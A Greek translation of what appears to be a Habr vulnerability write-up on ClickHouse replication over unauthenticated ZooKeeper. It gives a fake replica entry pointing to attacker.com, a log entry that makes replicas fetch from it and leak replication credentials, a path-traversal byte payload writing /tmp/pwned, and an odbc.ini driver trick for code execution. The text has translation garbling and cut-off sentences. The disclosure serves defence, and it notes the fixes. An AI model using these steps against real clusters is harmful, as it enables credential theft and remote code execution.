Αυτό το άρθρο θα πει την ιστορία μιας πολύ συγκεκριμένης ευπάθειας στο πρωτόκολλο αναπαραγωγής ClickHouse και θα δείξει επίσης πώς μπορεί να επεκταθεί η επιφάνεια επίθεσης.
Το ClickHouse είναι μια βάση δεδομένων για την αποθήκευση μεγάλων όγκων δεδομένων, τις περισσότερες φορές χρησιμοποιώντας περισσότερα από ένα αντίγραφα. Η ομαδοποίηση και η αναπαραγωγή στο ClickHouse είναι χτισμένα στην κορυφή
Η προεπιλεγμένη εγκατάσταση ZK δεν απαιτεί έλεγχο ταυτότητας, επομένως χιλιάδες διακομιστές ZK που χρησιμοποιούνται για τη διαμόρφωση των παραμέτρων των Kafka, Hadoop, ClickHouse είναι δημόσια διαθέσιμοι.
Για να μειώσετε την επιφάνεια επίθεσης, θα πρέπει πάντα να διαμορφώνετε τον έλεγχο ταυτότητας και την εξουσιοδότηση κατά την εγκατάσταση του ZooKeeper
Υπάρχουν φυσικά κάποιες αποσειριοποιήσεις Java που βασίζονται σε 0 ημέρες, αλλά φανταστείτε ότι ένας εισβολέας θα μπορούσε να διαβάζει και να γράφει στο ZooKeeper, που χρησιμοποιείται για την αναπαραγωγή του ClickHouse.
Όταν ρυθμίζεται σε λειτουργία συμπλέγματος, το ClickHouse υποστηρίζει κατανεμημένα ερωτήματα /clickhouse/task_queue/ddl
.
Για παράδειγμα, δημιουργείτε έναν κόμβο /clickhouse/task_queue/ddl/query-0001
με περιεχόμενο:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
και μετά από αυτό, ο πίνακας δοκιμής θα διαγραφεί στους διακομιστές συμπλέγματος host1 και host2. Το DDL υποστηρίζει επίσης την εκτέλεση ερωτημάτων CREATE/ALTER/DROP.
Ακούγεται τρομακτικό; Αλλά πού μπορεί ένας εισβολέας να πάρει διευθύνσεις διακομιστή;
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
θα δημιουργηθούν κόμβοι στήλες и μεταδεδομένα.
Περιεχόμενο /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Είναι δυνατή η συγχώνευση δεδομένων από αυτό το σύμπλεγμα; Ναι, εάν η θύρα αναπαραγωγής (TCP/9009
) στον διακομιστή chXX-address
το τείχος προστασίας δεν θα κλείσει και ο έλεγχος ταυτότητας για αναπαραγωγή δεν θα ρυθμιστεί. Πώς να παρακάμψετε τον έλεγχο ταυτότητας;
Ένας εισβολέας μπορεί να δημιουργήσει ένα νέο αντίγραφο στο ZK απλά αντιγράφοντας τα περιεχόμενα από /clickhouse/tables/01-01/foobar/replicas/chXX
και αλλάζοντας το νόημα host
.
Περιεχόμενο /clickhouse/tables/01–01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Στη συνέχεια, πρέπει να πείτε στα άλλα αντίγραφα ότι υπάρχει ένα νέο μπλοκ δεδομένων στον διακομιστή του εισβολέα που πρέπει να λάβουν - δημιουργείται ένας κόμβος στο ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX
(ΧΧ μονότονα αυξανόμενος μετρητής, ο οποίος θα πρέπει να είναι μεγαλύτερος από τον τελευταίο στο αρχείο καταγραφής συμβάντων):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
όπου πηγή_αντίγραφο — το όνομα του αντιγράφου του εισβολέα που δημιουργήθηκε στο προηγούμενο βήμα, block_id — αναγνωριστικό μπλοκ δεδομένων, παίρνω - εντολή "get block" (και
Στη συνέχεια, κάθε αντίγραφο διαβάζει ένα νέο συμβάν στο αρχείο καταγραφής και πηγαίνει σε έναν διακομιστή που ελέγχεται από τον εισβολέα για να λάβει ένα μπλοκ δεδομένων (το πρωτόκολλο αναπαραγωγής είναι δυαδικό, τρέχει πάνω από το HTTP). Υπηρέτης attacker.com
θα λάβει αιτήματα:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
όπου XXX είναι τα δεδομένα ελέγχου ταυτότητας για αναπαραγωγή. Σε ορισμένες περιπτώσεις, αυτός μπορεί να είναι ένας λογαριασμός με πρόσβαση στη βάση δεδομένων μέσω του κύριου πρωτοκόλλου ClickHouse και του πρωτοκόλλου HTTP. Όπως είδατε, η επιφάνεια επίθεσης γίνεται εξαιρετικά μεγάλη επειδή το ZooKeeper, που χρησιμοποιήθηκε για αναπαραγωγή, έμεινε χωρίς ρύθμιση παραμέτρων ελέγχου ταυτότητας.
Ας δούμε τη λειτουργία λήψης ενός μπλοκ δεδομένων από ένα αντίγραφο, είναι γραμμένο με πλήρη σιγουριά ότι όλα τα αντίγραφα είναι υπό τον κατάλληλο έλεγχο και υπάρχει εμπιστοσύνη μεταξύ τους.
κώδικας επεξεργασίας αναπαραγωγής
Η συνάρτηση διαβάζει μια λίστα αρχείων, μετά τα ονόματά τους, τα μεγέθη, τα περιεχόμενά τους και στη συνέχεια τα γράφει στο σύστημα αρχείων. Αξίζει να περιγράψουμε χωριστά πώς αποθηκεύονται τα δεδομένα στο σύστημα αρχείων.
Υπάρχουν αρκετοί υποκατάλογοι σε /var/lib/clickhouse
(προεπιλεγμένος κατάλογος αποθήκευσης από το αρχείο διαμόρφωσης):
σημαίες - κατάλογος για εγγραφή
tmp — κατάλογος για την αποθήκευση προσωρινών αρχείων.
user_files — οι λειτουργίες με αρχεία σε αιτήματα περιορίζονται σε αυτόν τον κατάλογο (INTO OUTFILE και άλλοι).
μεταδεδομένα — αρχεία sql με περιγραφές πινάκων.
preprocessed_configs - Επεξεργασμένα αρχεία ρυθμίσεων παραγώγων από /etc/clickhouse-server
;
ημερομηνία - ο πραγματικός κατάλογος με τα ίδια τα δεδομένα, σε αυτήν την περίπτωση για κάθε βάση δεδομένων δημιουργείται απλώς ένας ξεχωριστός υποκατάλογος εδώ (για παράδειγμα /var/lib/clickhouse/data/default
).
Για κάθε πίνακα, δημιουργείται ένας υποκατάλογος στον κατάλογο της βάσης δεδομένων. Κάθε στήλη είναι ένα ξεχωριστό αρχείο ανάλογα με
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
Το αντίγραφο αναμένει να λάβει αρχεία με τα ίδια ονόματα κατά την επεξεργασία ενός μπλοκ δεδομένων και δεν τα επικυρώνει με κανέναν τρόπο.
Ο προσεκτικός αναγνώστης πιθανότατα έχει ήδη ακούσει για την μη ασφαλή συνένωση του ονόματος αρχείου σε μια συνάρτηση WriteBufferFromFile
. Ναι, αυτό επιτρέπει σε έναν εισβολέα να γράψει αυθαίρετο περιεχόμενο σε οποιοδήποτε αρχείο στο FS με δικαιώματα χρήστη clickhouse
. Για να γίνει αυτό, το αντίγραφο που ελέγχεται από τον εισβολέα πρέπει να επιστρέψει την ακόλουθη απάντηση στο αίτημα (προστέθηκαν αλλαγές γραμμής για ευκολία κατανόησης):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
και μετά τη συνένωση ../../../../../../../../../tmp/pwned
το αρχείο θα γραφτεί /tmp/pwned με περιεχόμενο hellofromzookeeper.
Υπάρχουν πολλές επιλογές για τη μετατροπή της δυνατότητας εγγραφής αρχείων σε απομακρυσμένη εκτέλεση κώδικα (RCE).
Εξωτερικά λεξικά σε RCE
Σε παλαιότερες εκδόσεις, ο κατάλογος με τις ρυθμίσεις του ClickHouse αποθηκεύτηκε με δικαιώματα χρήστη clickhouse Προκαθορισμένο. Τα αρχεία ρυθμίσεων είναι αρχεία XML που διαβάζει η υπηρεσία κατά την εκκίνηση και στη συνέχεια αποθηκεύει προσωρινά /var/lib/clickhouse/preprocessed_configs
. Όταν συμβαίνουν αλλαγές, διαβάζονται ξανά. Εάν έχετε πρόσβαση σε /etc/clickhouse-server
ένας εισβολέας μπορεί να δημιουργήσει το δικό του root
.
ODBC σε RCE
Κατά την εγκατάσταση ενός πακέτου, δημιουργείται ένας χρήστης clickhouse
, αλλά ο αρχικός του κατάλογος δεν έχει δημιουργηθεί /nonexistent
. Ωστόσο, όταν χρησιμοποιείτε εξωτερικά λεξικά ή για άλλους λόγους, οι διαχειριστές δημιουργούν έναν κατάλογο /nonexistent
και δώστε στον χρήστη clickhouse
πρόσβαση για εγγραφή σε αυτό (SSZB! περίπου. μεταφράστης).
Το ClickHouse υποστηρίζει odbc-bridge
, επομένως δεν είναι πλέον δυνατός ο καθορισμός της διαδρομής του προγράμματος οδήγησης από το αίτημα. Μπορεί όμως ένας εισβολέας να γράψει στον αρχικό κατάλογο χρησιμοποιώντας την ευπάθεια που περιγράφεται παραπάνω;
Ας δημιουργήσουμε ένα αρχείο ~/.odbc.ini
με περιεχόμενο σαν αυτό:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
στη συνέχεια κατά την εκκίνηση SELECT * FROM odbc('DSN=lalala', 'test', 'test');
η βιβλιοθήκη θα φορτωθεί test.so
και έλαβε RCE (ευχαριστώ
Αυτά και άλλα τρωτά σημεία έχουν διορθωθεί στην έκδοση 19.14.3 του ClickHouse. Φροντίστε το ClickHouse και τους ZooKeepers σας!
Πηγή: www.habr.com